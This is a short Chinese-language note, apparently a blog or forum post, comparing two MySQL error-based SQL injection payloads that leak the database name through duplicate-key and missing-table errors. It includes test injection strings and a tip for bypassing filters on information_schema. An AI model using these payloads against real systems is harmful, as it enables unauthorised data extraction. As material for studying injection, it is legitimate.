1、 mysql> select 1 ,2,3 from (select count(*),concat(floor(rand(0)*2),database())x from information_schema.tables group by x)c;
ERROR 1062 (23000): Duplicate entry ‘db_mydatebase1’ for key ‘group_key’
//当表存在时
2、 mysql> select count(*),concat(database(),floor(rand(0)*2))x from awd group by x;
ERROR 1146 (42S02): Table ‘db_mydatebase.awd’ doesn’t exist
//当表不存在时 表“awd”是不存在的
2 相对于 1 的好处在于:1、不必在意表的数据有多少,而 2 要在表的数据有三行及三行以上才会生效
2、不需要知道字段数//实际测试 2 也不需要 mysql控制台测试则需要
3、绕过information_schema.tables过滤
4、打的字少(嗯!这点很总要)
测验语句:
select * from test where user=’ ’
1 : union select 1 ,2,3 from (select count(*),concat(floor(rand(0)*2),database())x from information_schema.tables group by x)c;
结果:(Duplicate entry ‘1db_mydatebase’ for key ‘group_key’)//注意1,2,3 是表的字段数,也就是说必须知道表 test 的字段数才可以进行注入)//第二次测试发现
实际测试并不需要知道字段(我设置为 select 1 而不是select 1,2,3)字段数也会爆库,但是在mysql控制台直接测试就会出现The used SELECT statements have a different number of columns求大神解答!
2 :union select count(*) concat(floor(rand(0)*2),database())x from awdawd group by x//事实上 后面一个x也可以乱打
结果: Table ‘db_mydatebase.awdawd’ doesn’t exist